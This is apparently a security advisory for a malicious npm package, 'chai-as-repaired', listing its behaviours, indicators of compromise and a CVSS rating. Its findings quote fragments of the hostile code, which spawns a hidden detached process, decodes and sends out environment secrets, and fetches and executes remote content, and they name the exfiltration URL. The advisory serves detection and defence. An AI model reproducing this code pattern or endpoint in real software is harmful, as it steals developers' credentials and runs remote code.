VDB
GCVE-110-OSM-2026-4787
GCVE-110-OSM-2026-4787
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code.
Entrypoint: index.js (main: index.js)
Exfil: https://api.jsonstorage.net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/a179ea35-b962-4722-b3f1-e28316d1a44a (custom-c2, recovery: decoded in lib/caller.js)
Payload: lib/caller.js
Key findings:
- Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], {
detached: true,
stdio: "..."
- Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
..."
- Global Variable Shadowing in lib/caller.js: "const process = {"
- Base64 Decoded Environment Variable in lib/caller.js: "atob(process.env."
- Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie;
const handler = new ..."
IOCs:
- urls: http://192.168.1.42:9200, https://api.jsonstorage.net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/a179ea35-b962-4722-b3f1-e28316d1a44a
- domains: api.jsonstorage.net
- payloadFileHash: 37e9dde0f35864e2ea8dcd4c8b5324ef50e3798195d04c30ba6938352af702db
Decoded/deobfuscated IOCs:
- urls: https://api.jsonstorage.net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/a179ea35-b962-4722-b3f1-e28316d1a44a
- domains: api.jsonstorage.net
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | chai-as-repaired | all (affected) | — |
Aliases
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